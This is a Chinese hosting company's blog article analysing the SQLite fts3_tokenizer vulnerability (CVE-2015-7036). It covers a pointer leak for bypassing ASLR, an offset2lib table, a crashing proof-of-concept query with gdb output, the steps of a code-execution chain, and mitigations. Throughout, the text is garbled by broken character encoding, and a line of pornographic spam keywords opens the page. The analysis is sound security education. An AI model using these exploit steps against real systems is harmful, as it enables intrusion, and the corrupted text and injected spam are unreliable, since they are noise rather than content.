五月婷婷开心中文字幕,欧美成人乱码一区二区三区,国产精品亚洲аv无码播放 ,俺来也俺去啦久久综合网

    歡迎來(lái)到云網(wǎng)時(shí)代數(shù)據(jù)中心! 業(yè)務(wù)咨詢(xún)熱線(xiàn):0755-88868179增值電信業(yè)務(wù)經(jīng)營(yíng)許可證:B1-20170628
IDC技術(shù)前沿
當(dāng)前位置:首頁(yè)>文章中心>IDC技術(shù)前沿

服務(wù)器租用數(shù)據(jù)庫(kù)中的SQLite漏洞分析

發(fā)布時(shí)間:2020-01-10 點(diǎn)擊數(shù):1586

SQL是服務(wù)器租賃用戶(hù)的常用數(shù)據(jù)庫(kù)。但是,最近的分析表明,SQL數(shù)據(jù)庫(kù)中存在兩個(gè)溢出漏洞。這里將解釋相關(guān)原理。

服務(wù)器租用數(shù)據(jù)庫(kù)SQLite漏洞

01 什么是內(nèi)存破壞漏洞

SQLite是一款輕型數(shù)據(jù)庫(kù),是遵守ACID的關(guān)系型數(shù)據(jù)管理系統(tǒng),它包含在一個(gè)相對(duì)小的C庫(kù)中。作為一款嵌入式數(shù)據(jù)庫(kù),他因占用的資源非常低,數(shù)據(jù)處理速度快等優(yōu)點(diǎn)被Andriod、WebKit等流行軟件采用。
說(shuō)起SQLite的內(nèi)存破壞漏洞,共分為兩種類(lèi)型,一是由SQLite數(shù)據(jù)庫(kù)的文件格式引起的內(nèi)存損壞漏洞,如CVE-2015-7036,CVE-2017-10989,另一個(gè)是SQLite解析器觸發(fā)的sql語(yǔ)句中的錯(cuò)誤。CVE-2015-3414,CVE-2015-3415。
提起CVE-2015-7036,fts3_tokenizer是一個(gè)繞不開(kāi)的話(huà)題。這是發(fā)生在A(yíng)pple iOS 8.4以前版本和 OS X 10.10.4版本以前的漏洞,原因是內(nèi)置的SQLite的fts3_tokenizer函數(shù)存在任意命令執(zhí)行漏洞,遠(yuǎn)程攻擊者可以通過(guò)SQL命令執(zhí)行任意指令或?qū)е孪到y(tǒng)崩潰,拒絕服務(wù)。讓我們來(lái)一起看看這個(gè)能讓號(hào)稱(chēng)最安全的蘋(píng)果系統(tǒng)都中招的fts3_tokenizer到底是何方神圣。
sqlite中支持fts表(full-text search的簡(jiǎn)稱(chēng)),fts3其實(shí)是sqlite的一個(gè)擴(kuò)展模塊,是虛擬表模塊,允許用戶(hù)使用 MATCH ‘keyword’ 查詢(xún)而非 LIKE ‘%keyword%’ 子串匹配的方式實(shí)現(xiàn)全文檢索。在實(shí)現(xiàn)全文搜索的過(guò)程中,對(duì)原始內(nèi)容進(jìn)行分詞是一個(gè)必須的過(guò)程。SQLite內(nèi)置的simple和porter分詞器只能支持ASCII字符的英文分詞,為滿(mǎn)足不同語(yǔ)言的需求,SQLite 3.7.13開(kāi)始引入unicode61分詞器以支持unicode,并提供給開(kāi)發(fā)者自行添加分詞器的接口。

02 fts3_tokenizer的兩種入侵方式

sqlite在fts3_tokenizer.h中提供了各種接口供用戶(hù)自定義分詞器,但其并未提供c函數(shù)供用戶(hù)來(lái)注冊(cè)自定義的分詞器,分詞器的注冊(cè)必須使用sql語(yǔ)句來(lái)完成。


官方提供了兩種fts3_tokenizer函數(shù)的使用方式,這兩種方式便產(chǎn)生了兩種漏洞:
1、fts3_tokenizer();
參數(shù)中的tokenizer-name是分詞器的名稱(chēng),該用法的返回值是指定名字分詞器的sqlite3_tokenizer_module 結(jié)構(gòu)體指針,以 blob 類(lèi)型表示16進(jìn)制的一個(gè)大端序的內(nèi)存地址。該用法本來(lái)是用來(lái)檢查分詞器是否被注冊(cè)。但是同時(shí)我們也發(fā)現(xiàn),如果是探測(cè)一個(gè)已經(jīng)存在的分詞器返回值是一個(gè)內(nèi)存地址。在 fts3.c 中可以看到 SQLite3 默認(rèn)注冊(cè)了內(nèi)置分詞器 simple 和 porter:
if( sqlite3Fts2HashInsert(pHash, "simple", 7, (void *)pSimple)|| sqlite3Fts2HashInsert(pHash, "porter", 7, (void *)pPorter)
以 simple 分詞器為例,其注冊(cè)的指針指向靜態(tài)區(qū)的 simpleTokenizerModule。
static const sqlite3_tokenizer_module simpleTokenizerModule = { 0,
simpleCreate,
simpleDestroy,
simpleOpen,
simpleClose,
simpleNext,
};
通過(guò)獲得這個(gè)指針,獲得 sqlite3 的基地址,根據(jù)不同版本調(diào)整偏移量,可以計(jì)算繞過(guò) ASLR保護(hù)機(jī)制:
SQLite version 3.8.10.2 2015-05-20 18:17:19
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> select hex(fts3_tokenizer(simple'));
A0CE0D3321560000
sqlite>
root@kali:/usr/local/bin# grep sqlite /proc/20261/maps
555555554000-555555623000 r-xp 00000000 fe:00 3417560 /usr/local/bin/sqlite3
555555822000-555555825000 r--p 000ce000 fe:00 3417560 /usr/local/bin/sqlite3

555555825000-555555828000 rw-p 000d1000 fe:00 3417560 /usr/local/bin/sqlite3


Offset2lib攻擊:
這里提一下關(guān)于繞過(guò)ASLR保護(hù)機(jī)制的相關(guān)內(nèi)容:
ASLR(Address Space Layout Randomization),地址空間格局的隨機(jī)化,就是用來(lái)防范Ret2libc攻擊手段的另一個(gè)重要的安全特性。在你知道目標(biāo)代碼或數(shù)據(jù)定位的前提下,它可以變成一種規(guī)避攻擊的技術(shù)。正因?yàn)楹诳筒⒉恢勒麄€(gè)地址空間的布局,ASLR技術(shù)變得極為有效。只有當(dāng)可執(zhí)行程序編譯為PIE時(shí)(地址無(wú)關(guān)可執(zhí)行文件),才能最大限度地從ASLR技術(shù)那里獲得保護(hù),因?yàn)槠渌薪M成部分都是從隨機(jī)地址加載的。
然而,當(dāng)可執(zhí)行文件被編譯成PIE之后,GNU/Linux下的ASLR實(shí)現(xiàn)的過(guò)程中,會(huì)出現(xiàn)一個(gè)名為Offset2lib安全漏洞,其專(zhuān)門(mén)用于繞過(guò)在GNU/Linux下如ASLR之類(lèi)的對(duì)于普通漏洞的常用防護(hù)。
正常情況下,可能需要大概五步進(jìn)行攻擊,攻擊的流程總結(jié)如下:
提取靜態(tài)信息
暴力獲取saved-IP部分
計(jì)算應(yīng)用基址
計(jì)算offset2lib常量
獲得內(nèi)存映射區(qū)域
首先,我們的攻擊對(duì)目標(biāo)程序和其執(zhí)行環(huán)境做一個(gè)離線(xiàn)分析。利用標(biāo)準(zhǔn)的緩沖區(qū)溢出漏洞來(lái)暴力獲取被ASLR隱藏的保存在棧里的應(yīng)用代碼的saved-IP地址(應(yīng)用地址),這多虧了目標(biāo)的fork服務(wù)器結(jié)構(gòu)。一旦我們獲得了目標(biāo)應(yīng)用的完整地址,應(yīng)用的基址就能被計(jì)算出來(lái)。最后一步則是對(duì)整個(gè)庫(kù)做內(nèi)存映射,這將決定于目標(biāo)GNU/Linux的版本。獲得隱藏的未明信息后,利用ROP應(yīng)用獲得遠(yuǎn)程shell是非常容易的。
因?yàn)閒ts3_tokenizer好心的提醒了我們基址地址,甚至不需要前三步的計(jì)算,通過(guò)union或者盲注,我們可以獲取到這個(gè)基地址信息。
計(jì)算出目標(biāo)庫(kù)的offset2lib值,它會(huì)因系統(tǒng)的不同而不同,但相互之間有很大的相似性。獲得這些offset2lib的值有一個(gè)迅捷的辦法,那就是本地執(zhí)行該應(yīng)用,打印出偏移量。offset2lib并不決定于應(yīng)用本身,我們需要為特定Linux系統(tǒng)版本量身計(jì)算。
Distribution Libc ver. Offset2lib
CentOS 6.5 2.12 0x5b6000
Debian 7.1 2.13 0x5ac000
Ubuntu 12.04 2.15 0x5e4000
Ubuntu 12.10 2.15 0x5e4000
libc(Linux下的ANSI C的函數(shù)庫(kù)。 ANSI C是基本的C語(yǔ)言函數(shù)庫(kù),包含了C語(yǔ)言最基本的庫(kù)函數(shù))的基址都可以通過(guò)可執(zhí)行文件基址減去offset2lib值來(lái)計(jì)算:
Libc_base = App_base - offset2lib

獲取到libc的內(nèi)存地址之后的目標(biāo)就是獲取shell了??梢越柚鶵OP(現(xiàn)代棧溢出利用技術(shù)基礎(chǔ))來(lái)實(shí)現(xiàn),本文就不詳細(xì)介紹了。


2、SELECT fts3_tokenizer(,);

這里的sqlite3_tokenizer_module ptr表示一個(gè)指向sqlite3_tokenizer_module結(jié)構(gòu)的指針并且編碼為SQL blob。這種用法用來(lái)注冊(cè)新的分詞器,在SQL下執(zhí)行此形式語(yǔ)句,即可注冊(cè)一個(gè)的分詞器。沒(méi)錯(cuò),這里就是把指針當(dāng)成參數(shù)直接放進(jìn)SQL語(yǔ)句中了,這個(gè)指針指向一個(gè) sqlite3_tokenizer_module 結(jié)構(gòu)體,前文已經(jīng)提到其中包含數(shù)個(gè)回調(diào)函數(shù)指針,注冊(cè)完成分詞器后,SQLite3 在處理一些 SQL 查詢(xún)時(shí)將會(huì)執(zhí)行分詞器的回調(diào)函數(shù)以獲得結(jié)果。


攻擊者構(gòu)造出一個(gè)結(jié)構(gòu)體之后,獲取到該結(jié)構(gòu)體的內(nèi)存地址,并使用 SQL 注入等手段讓目標(biāo)注冊(cè)構(gòu)造好的“分詞器”,再通過(guò) SQL 觸發(fā)特殊回調(diào)就可以實(shí)現(xiàn)劫持 IP 寄存器,執(zhí)行任意代碼。接下來(lái)進(jìn)一步分析這個(gè)攻擊面是否可以被利用。


現(xiàn)在來(lái)嘗試觸發(fā) xCreate 回調(diào)執(zhí)行任意代碼。在SQLite3 控制臺(tái)輸入如下查詢(xún)即可導(dǎo)致段錯(cuò)誤:
SQLite version 3.8.10.2 2015-05-20 18:17:19
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> select fts3_tokenizer('simple', x'4141414141414141'); create virtual table a using fts3;
AAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x00005555555a2178 in sqlite3Fts3InitTokenizer (pHash=pHash@entry=0x55555582d7c8, zArg=zArg@entry=0x5555556019cf "simple",
ppTok=ppTok@entry=0x7fffffffc7d8, pzErr=pzErr@entry=0x7fffffffc8f8) at sqlite3.c:141967

141967 rc = m->xCreate(iArg, aArg, ppTok);


用gdb查看崩潰的上下文:

[----------------------------------registers-----------------------------------]
rax 0x4141414141414141 4702111234474983745
rbx 0x0 0
rcx 0x0 0
rdx 0x7fffffffc7d8 140737488340952
rsi 0x0 0
rdi 0x0 0
rbp 0x0 0x0
rsp 0x7fffffffc6b0 0x7fffffffc6b0
r8 0x60 96
r9 0x73 115
r10 0x555555604aa0 93824992955040
r11 0x1 1
r12 0x0 0
r13 0x55555583f8ee 93824995293422
r14 0x7fffffffc6dc 140737488340700
r15 0x55555583f8e8 93824995293416
rip 0x5555555a2178 0x5555555a2178 
eflags 0x10297 [ CF PF AF SF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
[-------------------------------------code-------------------------------------]
0x00005555555a2173 <+307>: mov %r12,%rsi
0x00005555555a2176 <+310>: mov %ebx,%edi
=> 0x00005555555a2178 <+312>: callq *0x8(%rax)
0x00005555555a217b <+315>: test %eax,%eax
0x00005555555a217d <+317>: mov %eax,%ebp
0x00005555555a217f <+319>: jne 0x5555555a21d8 
0x00005555555a2181 <+321>: mov (%rsp),%rax
0x00005555555a2185 <+325>: mov 0x18(%rsp),%rdx
0x00005555555a218a <+330>: mov (%rax),%rax
0x00005555555a218d <+333>: mov %rdx,(%rax)
0x00005555555a2190 <+336>: mov %r12,%rdi
rax 注冊(cè)時(shí)提交的指針參數(shù),cast將blob類(lèi)型數(shù)據(jù)轉(zhuǎn)換為指針,SQLite 完全沒(méi)有對(duì)指針做任何有效性檢查,直接進(jìn)行了回調(diào)的調(diào)用。其對(duì)應(yīng)源代碼位于 ext/fts3/fts3_tokenizer.c 的 sqlite3Fts3InitTokenizer 函數(shù):
m = (sqlite3_tokenizer_module *)sqlite3Fts3HashFind(pHash,z,(int)strlen(z)+1); if( !m ){
sqlite3Fts3ErrMsg(pzErr, "unknown tokenizer: %s", z);
rc = SQLITE_ERROR;
}else{ char const **aArg = 0;
… (省略部分代碼)
rc = m->xCreate(iArg, aArg, ppTok);
assert( rc!=SQLITE_OK || *ppTok ); if( rc!=SQLITE_OK ){
sqlite3Fts3ErrMsg(pzErr, "unknown tokenizer");

}else{


整理一下思路,整個(gè)攻擊流程應(yīng)該是這樣的:
首先利用fts3_tokenizer的第一種方式,查詢(xún)到sqlite基地址,注意結(jié)果是大端序。根據(jù) select sqlite_version() 函數(shù)泄漏的版本信息調(diào)整偏移量,執(zhí)行 PRAGMA soft_heap_limit 語(yǔ)句布置需要 call 的目標(biāo)指令地址,向一個(gè)已知內(nèi)存地址寫(xiě)入一個(gè)函數(shù)指針,然后這個(gè)地址轉(zhuǎn)換為blob類(lèi)型,作為fts3_tokenizer 函數(shù)的第二個(gè)參數(shù),進(jìn)而注冊(cè)了一個(gè)“分詞器”,最后通過(guò)創(chuàng)建虛擬表,觸發(fā) xCreate 回調(diào)函數(shù),導(dǎo)致eip劫持,允許遠(yuǎn)程攻擊者執(zhí)行任意代碼。

03 亡羊補(bǔ)牢猶未晚

雖然這不是 SQLite 的漏洞,但濫用這一特性可能導(dǎo)致應(yīng)用程序產(chǎn)生攻擊面。
禁用這一特性可以起到緩解的效果。比如Andriod甚至是SQLite自己都在3.11版本就采用了直接禁用這種方式。
重寫(xiě)函數(shù)也不為是一個(gè)不錯(cuò)的辦法,十分流行的WebKit也曾提供選擇禁用Web SQL Database作為本地?cái)?shù)據(jù)庫(kù),它采用的語(yǔ)言就是SQLite,但已經(jīng)被W3C標(biāo)準(zhǔn)移除了?,F(xiàn)在WebKit也重寫(xiě)了函數(shù)。
但是只是簡(jiǎn)單的白名單過(guò)濾并不是一個(gè)優(yōu)秀的處理方式,Safari瀏覽器采用sqlite3_set_authorizer()用來(lái)授權(quán)SQL語(yǔ)句行為,并通過(guò)白名單控制了可以執(zhí)行的SQL語(yǔ)句,但CVE-2015-3659中明確說(shuō)了如何繞過(guò)白名單,同樣執(zhí)行任意代碼,或者導(dǎo)致拒絕服務(wù),系統(tǒng)崩潰。
總結(jié)一下修復(fù)和處理的方式:
如果用不到全文檢索,可通過(guò)關(guān)閉 SQLITE_ENABLE_FTS3 / SQLITE_ENABLE_FTS4 / SQLITE_ENABLE_FTS5 選項(xiàng)禁用之,或者使用 Amalgamation 版本編譯;
如果需要使用 MATCH 檢索,但不需要支持多國(guó)語(yǔ)言(即內(nèi)置分詞器可以滿(mǎn)足要求),找到 ext/fts3/fts3.c 中注釋掉如下一行代碼關(guān)閉此函數(shù):
&& SQLITE_OK==(rc = sqlite3Fts3InitHashTable(db, pHash, “fts3_tokenizer”))

使用 SQLite3 的 Authorization Callbacks 設(shè)置訪(fǎng)問(wèn)控制


希望云網(wǎng)時(shí)代小編的分享能夠?qū)Υ蠹矣兴鶐椭?,云網(wǎng)時(shí)代專(zhuān)業(yè)提供深圳服務(wù)租用,深圳服務(wù)托管,深圳主機(jī)租用,云主機(jī)租用等服務(wù)器相關(guān)產(chǎn)品,詳情咨詢(xún)客服了解。

在線(xiàn)客服